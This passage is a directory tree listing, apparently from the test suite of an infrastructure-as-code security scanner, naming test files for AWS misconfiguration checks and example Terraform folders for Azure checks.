test_ConnectInstanceKinesisVideoStreamStorageConfigUsesCMK.py │ │ │ │ ├── test_ConnectInstanceS3StorageConfigUsesCMK.py │ │ │ │ ├── test_DAXEncryption.py │ │ │ │ ├── test_DAXEndpointTLS.py │ │ │ │ ├── test_DBInstanceBackupRetentionPeriod.py │ │ │ │ ├── test_DBInstanceLogging.py │ │ │ │ ├── test_DBInstanceMinorUpgrade.py │ │ │ │ ├── test_DBSnapshotCopyUsesCMK.py │ │ │ │ ├── test_DBSnapshotsArePrivate.py │ │ │ │ ├── test_DLMEventsCrossRegionEncryption.py │ │ │ │ ├── test_DLMEventsCrossRegionEncryptionWithCMK.py │ │ │ │ ├── test_DLMScheduleCrossRegionEncryption.py │ │ │ │ ├── test_DLMScheduleCrossRegionEncryptionWithCMK.py │ │ │ │ ├── test_DMSEndpointUsesCMK.py │ │ │ │ ├── test_DMSReplicationInstanceEncryptedWithCMK.py │ │ │ │ ├── test_DMSReplicationInstanceMinorUpgrade.py │ │ │ │ ├── test_DMSReplicationInstancePubliclyAccessible.py │ │ │ │ ├── test_DMSS3UsesCMK.py │ │ │ │ ├── test_DatasyncLocationExposesSecrets.py │ │ │ │ ├── test_DeprecatedLambdaRuntime.py │ │ │ │ ├── test_DocDBAuditLogs.py │ │ │ │ ├── test_DocDBBackupRetention.py │ │ │ │ ├── test_DocDBEncryptedWithCMK.py │ │ │ │ ├── test_DocDBEncryption.py │ │ │ │ ├── test_DocDBGlobalClusterEncryption.py │ │ │ │ ├── test_DocDBLogging.py │ │ │ │ ├── test_DocDBTLS.py │ │ │ │ ├── test_DynamoDBTableReplicaKMSUsesCMK.py │ │ │ │ ├── test_DynamoDBTablesEncrypted.py │ │ │ │ ├── test_DynamodbRecovery.py │ │ │ │ ├── test_EBSDefaultEncryption.py │ │ │ │ ├── test_EBSEncryption.py │ │ │ │ ├── test_EBSSnapshotCopyEncryptedWithCMK.py │ │ │ │ ├── test_EBSVolumeEncryptedWithCMK.py │ │ │ │ ├── test_EC2Credentials.py │ │ │ │ ├── test_EC2DetailedMonitoringEnabled.py │ │ │ │ ├── test_EC2EBSOptimized.py │ │ │ │ ├── test_EC2PublicIP.py │ │ │ │ ├── test_ECRImageScanning.py │ │ │ │ ├── test_ECRImmutableTags.py │ │ │ │ ├── test_ECRPolicy.py │ │ │ │ ├── test_ECRRepositoryEncrypted.py │ │ │ │ ├── test_ECSClusterContainerInsights.py │ │ │ │ ├── test_ECSClusterLoggingEnabled.py │ │ │ │ ├── test_ECSClusterLoggingEncryptedWithCMK.py │ │ │ │ ├── test_ECSContainerHostProcess.py │ │ │ │ ├── test_ECSContainerPrivilege.py │ │ │ │ ├── test_ECSContainerReadOnlyRoot.py │ │ │ │ ├── test_ECSServiceFargateLatest.py │ │ │ │ ├── test_ECSServicePublicIP.py │ │ │ │ ├── test_ECSTaskDefinitionEFSVolumeEncryption.py │ │ │ │ ├── test_ECSTaskDefinitionRoleCheck.py │ │ │ │ ├── test_EFSAccessPointRoot.py │ │ │ │ ├── test_EFSAccessUserIdentity.py │ │ │ │ ├── test_EFSEncryptionEnabled.py │ │ │ │ ├── test_EFSFileSystemEncryptedWithCMK.py │ │ │ │ ├── test_EKSControlPlaneLogging.py │ │ │ │ ├── test_EKSNodeGroupRemoteAccess.py │ │ │ │ ├── test_EKSPlatformVersion.py │ │ │ │ ├── test_EKSPublicAccess.py │ │ │ │ ├── test_EKSPublicAccessCIDR.py │ │ │ │ ├── test_EKSSecretsEncryption.py │ │ │ │ ├── test_ELBAccessLogs.py │ │ │ │ ├── test_ELBCrossZoneEnable.py │ │ │ │ ├── test_ELBPolicyUsesSecureProtocols.py │ │ │ │ ├── test_ELBUsesSSL.py │ │ │ │ ├── test_ELBv2AccessLogs.py │ │ │ │ ├── test_ELBwListenerNotTLSSSL.py │ │ │ │ ├── test_EMRClusterConfEncryptsEBS.py │ │ │ │ ├── test_EMRClusterConfEncryptsInTransit.py │ │ │ │ ├── test_EMRClusterConfEncryptsLocalDisk.py │ │ │ │ ├── test_EMRClusterIsEncryptedKMS.py │ │ │ │ ├── test_EMRClusterKerberosAttributes.py │ │ │ │ ├── test_EMRPubliclyAccessible.py │ │ │ │ ├── test_Ec2TransitGatewayAutoAccept.py │ │ │ │ ├── test_ElastiCacheHasCustomSubnet.py │ │ │ │ ├── test_ElasticBeanstalkUseEnhancedHealthChecks.py │ │ │ │ ├── test_ElasticBeanstalkUseManagedUpdates.py │ │ │ │ ├── test_ElasticCacheAutomaticBackup.py │ │ │ │ ├── test_ElasticCacheAutomaticMinorUpgrades.py │ │ │ │ ├── test_ElasticCacheHasSecurityGroup.py │ │ │ │ ├── test_ElasticacheReplicationGroupEncryptedWithCMK.py │ │ │ │ ├── test_ElasticacheReplicationGroupEncryptionAtRest.py │ │ │ │ ├── test_ElasticacheReplicationGroupEncryptionAtTransit.py │ │ │ │ ├── test_ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py │ │ │ │ ├── test_ElasticsearchDefaultSG.py │ │ │ │ ├── test_ElasticsearchDomainAuditLogging.py │ │ │ │ ├── test_ElasticsearchDomainEnforceHTTPS.py │ │ │ │ ├── test_ElasticsearchDomainHA.py │ │ │ │ ├── test_ElasticsearchDomainLogging.py │ │ │ │ ├── test_ElasticsearchEncryption.py │ │ │ │ ├── test_ElasticsearchEncryptionWithCMK.py │ │ │ │ ├── test_ElasticsearchInVPC.py │ │ │ │ ├── test_ElasticsearchNodeToNodeEncryption.py │ │ │ │ ├── test_ElasticsearchTLSPolicy.py │ │ │ │ ├── test_FSXOntapFSEncryptedWithCMK.py │ │ │ │ ├── test_FSXOpenZFSFileSystemEncryptedWithCMK.py │ │ │ │ ├── test_FSXWindowsFSEncryptedWithCMK.py │ │ │ │ ├── test_GlacierVaultAnyPrincipal.py │ │ │ │ ├── test_GlobalAcceleratorAcceleratorFlowLogs.py │ │ │ │ ├── test_GlueDataCatalogEncryption.py │ │ │ │ ├── test_GlueSecurityConfiguration.py │ │ │ │ ├── test_GlueSecurityConfigurationEnabled.py │ │ │ │ ├── test_GuarddutyDetectorEnabled.py │ │ │ │ ├── test_IAMAdminPolicyDocument.py │ │ │ │ ├── test_IAMCredentialsExposure.py │ │ │ │ ├── test_IAMDataExfiltration.py │ │ │ │ ├── test_IAMManagedAdminPolicy.py │ │ │ │ ├── test_IAMPermissionsManagement.py │ │ │ │ ├── test_IAMPolicyAttachedToGroupOrRoles.py │ │ │ │ ├── test_IAMPrivilegeEscalation.py │ │ │ │ ├── test_IAMRoleAllowAssumeFromAccount.py │ │ │ │ ├── test_IAMRoleAllowsPublicAssume.py │ │ │ │ ├── test_IAMStarActionPolicyDocument.py │ │ │ │ ├── test_IAMStarResourcePolicyDocument.py │ │ │ │ ├── test_IAMUserNotUsedForAccess.py │ │ │ │ ├── test_IAMUserRootAccessKeys.py │ │ │ │ ├── test_IAMWriteAccess.py │ │ │ │ ├── test_IMDSv1Disabled.py │ │ │ │ ├── test_ImagebuilderComponentEncryptedWithCMK.py │ │ │ │ ├── test_ImagebuilderDistributionConfigurationEncryptedWithCMK.py │ │ │ │ ├── test_ImagebuilderImageRecipeEBSEncrypted.py │ │ │ │ ├── test_KMSKeyIsEnabled.py │ │ │ │ ├── test_KMSKeyWildcardPrincipal.py │ │ │ │ ├── test_KMSRotation.py │ │ │ │ ├── test_KendraIndexSSEUsesCMK.py │ │ │ │ ├── test_KeyspacesTableUsesCMK.py │ │ │ │ ├── test_KinesisFirehoseDeliveryStreamSSE.py │ │ │ │ ├── test_KinesisFirehoseDeliveryStreamUsesCMK.py │ │ │ │ ├── test_KinesisStreamEncryptedWithCMK.py │ │ │ │ ├── test_KinesisStreamEncryptionType.py │ │ │ │ ├── test_KinesisVideoEncryptedWithCMK.py │ │ │ │ ├── test_LBCrossZone.py │ │ │ │ ├── test_LBDeletionProtection.py │ │ │ │ ├── test_LBTargetGroupDefinesHealthCheck.py │ │ │ │ ├── test_LambdaCodeSigningConfigured.py │ │ │ │ ├── test_LambdaDLQConfigured.py │ │ │ │ ├── test_LambdaEnvironmentCredentials.py │ │ │ │ ├── test_LambdaEnvironmentEncryptionSettings.py │ │ │ │ ├── test_LambdaFunctionIsNotPublic.py │ │ │ │ ├── test_LambdaFunctionLevelConcurrentExecutionLimit.py │ │ │ │ ├── test_LambdaFunctionURLAuth.py │ │ │ │ ├── test_LambdaInVPC.py │ │ │ │ ├── test_LambdaServicePermission.py │ │ │ │ ├── test_LambdaXrayEnabled.py │ │ │ │ ├── test_LaunchConfigurationEBSEncryption.py │ │ │ │ ├── test_LaunchTemplateMetadataHop.py │ │ │ │ ├── test_LustreFSEncryptedWithCMK.py │ │ │ │ ├── test_MQBrokerAuditLogging.py │ │ │ │ ├── test_MQBrokerEncryptedWithCMK.py │ │ │ │ ├── test_MQBrokerLogging.py │ │ │ │ ├── test_MQBrokerMinorAutoUpgrade.py │ │ │ │ ├── test_MQBrokerNotPubliclyExposed.py │ │ │ │ ├── test_MQBrokerVersion.py │ │ │ │ ├── test_MSKClusterEncryption.py │ │ │ │ ├── test_MSKClusterLogging.py │ │ │ │ ├── test_MSKClusterNodesArePrivate.py │ │ │ │ ├── test_MWAASchedulerLogsEnabled.py │ │ │ │ ├── test_MWAAWebserverLogsEnabled.py │ │ │ │ ├── test_MWAAWorkerLogsEnabled.py │ │ │ │ ├── test_MemoryDBClusterIntransitEncryption.py │ │ │ │ ├── test_MemoryDBEncryptionWithCMK.py │ │ │ │ ├── test_MemoryDBSnapshotEncryptionWithCMK.py │ │ │ │ ├── test_NeptuneClusterBackupRetention.py │ │ │ │ ├── test_NeptuneClusterEncryptedWithCMK.py │ │ │ │ ├── test_NeptuneClusterLogging.py │ │ │ │ ├── test_NeptuneDBClustersCopyTagsToSnapshots.py │ │ │ │ ├── test_NeptuneDBClustersIAMDatabaseAuthenticationEnabled.py │ │ │ │ ├── test_NeptuneInstancePublic.py │ │ │ │ ├── test_NeptuneSnapshotEncrypted.py │ │ │ │ ├── test_NeptuneSnapshotEncryptedWithCMK.py │ │ │ │ ├── test_NeptuneStorageEncrypted.py │ │ │ │ ├── test_NetworkACLUnrestricted.py │ │ │ │ ├── test_NetworkACLUnrestrictedIngress20.py │ │ │ │ ├── test_NetworkACLUnrestrictedIngress21.py │ │ │ │ ├── test_NetworkACLUnrestrictedIngress22.py │ │ │ │ ├── test_NetworkACLUnrestrictedIngress3389.py │ │ │ │ ├── test_NetworkFirewallDeletionProtection.py │ │ │ │ ├── test_NetworkFirewallPolicyDefinesCMK.py │ │ │ │ ├── test_NetworkFirewallUsesCMK.py │ │ │ │ ├── test_PasswordPolicyExpiration.py │ │ │ │ ├── test_PasswordPolicyLength.py │ │ │ │ ├── test_PasswordPolicyLowercaseLetter.py │ │ │ │ ├── test_PasswordPolicyNumber.py │ │ │ │ ├── test_PasswordPolicyReuse.py │ │ │ │ ├── test_PasswordPolicySymbol.py │ │ │ │ ├── test_PasswordPolicyUppercaseLetter.py │ │ │ │ ├── test_QLDBLedgerDeletionProtection.py │ │ │ │ ├── test_QLDBLedgerPermissionsMode.py │ │ │ │ ├── test_RDSCACertIsRecent.py │ │ │ │ ├── test_RDSClusterActivityStreamEncryptedWithCMK.py │ │ │ │ ├── test_RDSClusterAuditLogging.py │ │ │ │ ├── test_RDSClusterAuroraBacktrack.py │ │ │ │ ├── test_RDSClusterCopyTags.py │ │ │ │ ├── test_RDSClusterEncrypted.py │ │ │ │ ├── test_RDSClusterEncryptedWithCMK.py │ │ │ │ ├── test_RDSClusterIAMAuthentication.py │ │ │ │ ├── test_RDSClusterLogging.py │ │ │ │ ├── test_RDSClusterSnapshotEncrypted.py │ │ │ │ ├── test_RDSDeletionProtection.py │ │ │ │ ├── test_RDSEncryption.py │ │ │ │ ├── test_RDSEnhancedMonitorEnabled.py │ │ │ │ ├── test_RDSHasSecurityGroup.py │ │ │ │ ├── test_RDSIAMAuthentication.py │ │ │ │ ├── test_RDSInstanceAutoBackupEncryptionWithCMK.py │ │ │ │ ├── test_RDSInstanceDeletionProtection.py │ │ │ │ ├── test_RDSInstancePerfInsightsEncryptionWithCMK.py │ │ │ │ ├── test_RDSInstancePerformanceInsights.py │ │ │ │ ├── test_RDSMultiAZEnabled.py │ │ │ │ ├── test_RDSPostgreSQLLogFDWExtension.py │ │ │ │ ├── test_RDSPubliclyAccessible.py │ │ │ │ ├── test_RedShiftSSL.py │ │ │ │ ├── test_RedshiftClusterAllowVersionUpgrade.py │ │ │ │ ├── test_RedshiftClusterAutoSnap.py │ │ │ │ ├── test_RedshiftClusterDatabaseName.py │ │ │ │ ├── test_RedshiftClusterEncryption.py │ │ │ │ ├── test_RedshiftClusterKMSKey.py │ │ │ │ ├── test_RedshiftClusterLogging.py │ │ │ │ ├── test_RedshiftClusterPubliclyAccessible.py │ │ │ │ ├── test_RedshiftClusterUseEnhancedVPCRouting.py │ │ │ │ ├── test_RedshiftClusterWithCommonUsernameAndPublicAccess.py │ │ │ │ ├── test_RedshiftInEc2ClassicMode.py │ │ │ │ ├── test_RedshiftServerlessNamespaceKMSKey.py │ │ │ │ ├── test_RedshiftSnapshotCopyGrantEncryptedWithCMK.py │ │ │ │ ├── test_Route53TransferLock.py │ │ │ │ ├── test_S3AbortIncompleteUploads.py │ │ │ │ ├── test_S3AccessPointPubliclyAccessible.py │ │ │ │ ├── test_S3AllowsAnyPrincipal.py │ │ │ │ ├── test_S3BlockPublicACLs.py │ │ │ │ ├── test_S3BlockPublicPolicy.py │ │ │ │ ├── test_S3BucketObjectEncryptedWithCMK.py │ │ │ │ ├── test_S3BucketObjectLock.py │ │ │ │ ├── test_S3GlobalViewACL.py │ │ │ │ ├── test_S3IgnorePublicACLs.py │ │ │ │ ├── test_S3ObjectCopyEncryptedWithCMK.py │ │ │ │ ├── test_S3ProtectAgainstPolicyLockout.py │ │ │ │ ├── test_S3RestrictPublicBuckets.py │ │ │ │ ├── test_S3SecureDataTransport.py │ │ │ │ ├── test_SNSCrossAccountAccess.py │ │ │ │ ├── test_SNSTopicEncryption.py │ │ │ │ ├── test_SNSTopicPolicyAnyPrincipal.py │ │ │ │ ├── test_SQSOverlyPermissive.py │ │ │ │ ├── test_SQSPolicy.py │ │ │ │ ├── test_SQSQueueEncryption.py │ │ │ │ ├── test_SQSQueuePolicyAnyPrincipal.py │ │ │ │ ├── test_SSMDocumentsArePrivate.py │ │ │ │ ├── test_SSMParameterUsesCMK.py │ │ │ │ ├── test_SSMSessionManagerDocumentEncryption.py │ │ │ │ ├── test_SSMSessionManagerDocumentLogging.py │ │ │ │ ├── test_SageMakerInternetAccessDisabled.py │ │ │ │ ├── test_SagemakerDataQualityJobDefinitionEncryption.py │ │ │ │ ├── test_SagemakerDataQualityJobDefinitionTrafficEncryption.py │ │ │ │ ├── test_SagemakerDataQualityJobDefinitionVolumeEncryption.py │ │ │ │ ├── test_SagemakerDomainEncryptedWithCMK.py │ │ │ │ ├── test_SagemakerEndpoinConfigurationEncryption.py │ │ │ │ ├── test_SagemakerFlowDefinitionUsesKMS.py │ │ │ │ ├── test_SagemakerModelWithNetworkIsolation.py │ │ │ │ ├── test_SagemakerNotebookEncryption.py │ │ │ │ ├── test_SagemakerNotebookInCustomVPC.py │ │ │ │ ├── test_SagemakerNotebookInstanceAllowsIMDSv2.py │ │ │ │ ├── test_SagemakerNotebookRoot.py │ │ │ │ ├── test_SchedulerScheduleUsesCMK.py │ │ │ │ ├── test_SecretManagerSecret90days.py │ │ │ │ ├── test_SecretManagerSecretEncrypted.py │ │ │ │ ├── test_SecurityGroupRuleDescription.py │ │ │ │ ├── test_SecurityGroupUnrestrictedEgressAny.py │ │ │ │ ├── test_SecurityGroupUnrestrictedIngress22.py │ │ │ │ ├── test_SecurityGroupUnrestrictedIngress3389.py │ │ │ │ ├── test_SecurityGroupUnrestrictedIngress80.py │ │ │ │ ├── test_SecurityGroupUnrestrictedIngressAny.py │ │ │ │ ├── test_SesConfigurationSetDefinesTLS.py │ │ │ │ ├── test_StateMachineLoggingExecutionHistory.py │ │ │ │ ├── test_StateMachineXray.py │ │ │ │ ├── test_SubnetPublicIP.py │ │ │ │ ├── test_TimestreamDatabaseKMSKey.py │ │ │ │ ├── test_TransferServerAllowsOnlySecureProtocols.py │ │ │ │ ├── test_TransferServerIsPublic.py │ │ │ │ ├── test_TransferServerLatestPolicy.py │ │ │ │ ├── test_UnpatchedAuroraPostgresDB.py │ │ │ │ ├── test_VPCDefaultNetwork.py │ │ │ │ ├── test_VPCEndpointAcceptanceConfigured.py │ │ │ │ ├── test_WAFACLCVE202144228.py │ │ │ │ ├── test_WAFEnabled.py │ │ │ │ ├── test_WAFHasAnyRules.py │ │ │ │ ├── test_WAFHasLogs.py │ │ │ │ ├── test_WAFRuleHasAnyActions.py │ │ │ │ ├── test_WorkspaceRootVolumeEncrypted.py │ │ │ │ └── test_WorkspaceUserVolumeEncrypted.py │ │ │ ├── azure/ │ │ │ │ ├── __init__.py │ │ │ │ ├── example_ACRAdminAccountDisabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ACRAnonymousPullDisabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ACRContainerScanEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ACRDedicatedDataEndpointEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ACREnableImageQuarantine/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ACREnableRetentionPolicy/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ACREnableZoneRedundancy/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ACRGeoreplicated/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ACRPublicNetworkAccessDisabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ACRUseSignedImages/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AKSApiServerAuthorizedIpRanges/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AKSDashboardDisabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AKSEncryptionAtHostEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AKSEphemeralOSDisks/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AKSIsPaidSku/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AKSLocalAdminDisabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AKSMaxPodsMinimum/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AKSNodePublicIpDisabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AKSOnlyCriticalPodsOnSystemNodes/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AKSPoolTypeIsScaleSet/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AKSSecretStoreRotation/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AKSUpgradeChannel/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_APIManagementBackendHTTPS/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_APIManagementCertsEnforced/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_APIManagementMinTLS12/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_APIManagementPublicAccess/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppConfigEncryption/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppConfigLocalAuth/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppConfigPublicAccess/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppConfigPurgeProtection/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppConfigSku/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppGWDefinesSecureProtocols/ │ │ │ │ │ ├── main.tf │ │ │ │ │ ├── terraform.auto.tfvars │ │ │ │ │ └── variables.tf │ │ │ │ ├── example_AppGWUsesHttps/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppGatewayWAFACLCVE202144228/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppServiceAlwaysOn/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppServiceAuthentication/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppServiceClientCertificate/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppServiceDetailedErrorMessagesEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppServiceDisallowCORS/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppServiceDotnetFrameworkVersion/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppServiceEnableFailedRequest/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppServiceEnvironmentZoneRedundant/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppServiceFTPSState/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppServiceHTTPSOnly/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppServiceHttpLoggingEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppServiceHttps20Enabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppServiceIdentity/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppServiceIdentityProviderEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppServiceInstanceMinimum/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppServiceJavaVersion/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppServiceMinTLSVersion/ │ │ │ │ │ ├── main.tf │ │ │ │ │ ├── terraform.tfvars │ │ │ │ │ └── variables.tf │ │ │ │ ├── example_AppServicePHPVersion/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppServicePlanZoneRedundant/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppServicePublicAccessDisabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppServicePythonVersion/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppServiceRemoteDebuggingNotEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppServiceSetHealthCheck/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppServiceSkuMinimum/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppServiceSlotDebugDisabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppServiceSlotHTTPSOnly/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppServiceSlotMinTLS/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppServiceUsedAzureFiles/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AzureBatchAccountEndpointAccessDefaultAction/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AzureContainerGroupDeployedIntoVirtualNetwork/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AzureContainerInstanceEnvVarSecureValueType/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AzureContainerInstancePublicIPAddressType/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AzureDefenderDisabledForResManager/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AzureFirewallDefinesPolicy/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AzureFirewallDenyThreatIntelMode/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AzureFirewallPolicyIDPSDeny/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AzureFrontDoorEnablesWAF/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AzureInstanceExtensions/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AzureManagedDiskEncryption/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AzureManagedDiskEncryptionSet/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AzureSearchAllowedIPsNotGlobal/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AzureSearchManagedIdentity/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AzureSearchPublicNetworkAccessDisabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AzureSearchSLAIndex/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AzureSearchSLAQueryUpdates/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AzureServicebusDoubleEncryptionEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AzureServicebusHasCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AzureServicebusIdentityProviderEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AzureServicebusLocalAuthDisabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AzureServicebusMinTLSVersion/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AzureServicebusPublicAccessDisabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AzureSparkPoolIsolatedComputeEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CDNDisableHttpEndpoints/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CDNEnableHttpsEndpoints/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CDNTLSProtocol12/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CognitiveServicesConfigureIdentity/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CognitiveServicesEnableLocalAuth/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CosmosDBHaveCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CosmosDBLocalAuthDisabled/ │ │ │ │ │ └── CosmosDBLocalAuthDisabled.tf │ │ │ │ ├── example_DataExplorerSKUHasSLA/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DataExplorerServiceIdentity/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DataExplorerUsesDiskEncryption/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DataFactoryUsesGitRepository/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DatabricksWorkspaceIsNotPublic/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_EventHubNamespaceMinTLS12/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_EventHubNamespaceZoneRedundant/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_EventgridDomainIdentityProviderEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_EventgridDomainLocalAuthentication/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_EventgridDomainNetworkAccess/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_EventgridTopicIdentityProviderEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_EventgridTopicLocalAuthentication/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_EventgridTopicNetworkAccess/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_FrontDoorWAFACLCVE202144228/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_FunctionAppAccessibleOverHttps/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_FunctionAppAccessibleOverHttps_tfplan/ │ │ │ │ │ └── example_fua_for_fail_ckv_azure_70.tf │ │ │ │ ├── example_FunctionAppEnableLogging/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_FunctionAppHttpVersionLatest/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_FunctionAppMinTLSVersion/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_FunctionAppPublicAccessDisabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GithubActionsOIDCTrustPolicy/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_KeyVaultDisablesPublicNetworkAccess/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_KubernetesClusterHTTPApplicationRouting/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_LinuxVMUsesSSH/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_MLCCLADisabled/ │ │ │ │ │ └── MLCCLADisabled.tf │ │ │ │ ├── example_MLComputeClusterMinNodes/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_MLPublicAccess/ │ │ │ │ │ └── MLPublicAccess.tf │ │ │ │ ├── example_MSSQLServerAuditPolicyLogMonitor/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_MySQLGeoBackupEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_NSGRuleHTTPAccessRestricted/ │ │ │ │ │ ├── dynamic_block_map_example/ │ │ │ │ │ │ ├── dynamic.tf │ │ │ │ │ │ ├── terraform.tfvars │ │ │ │ │ │ └── variables.tf │ │ │ │ │ └── main.tf │ │ │ │ ├── example_NSGRuleRDPAccessRestricted/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_NSGRuleSSHAccessRestricted/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_NSGRuleUDPAccessRestricted/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_OpenAICognitiveServicesRestrictOutboundNetwork/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_PostgreSQLFlexiServerGeoBackupEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_PostgreSQLMinTLSVersion/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_PostgreSQLServerLogRetentionEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_PubsubSKUSLA/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_PubsubSpecifyIdentity/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RedisCacheMinTLSVersion/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RedisCacheStandardReplicationEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SQLDatabaseLedgerEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SQLDatabaseZoneRedundant/ │ │ │ │ │ └── main.tf │ │ 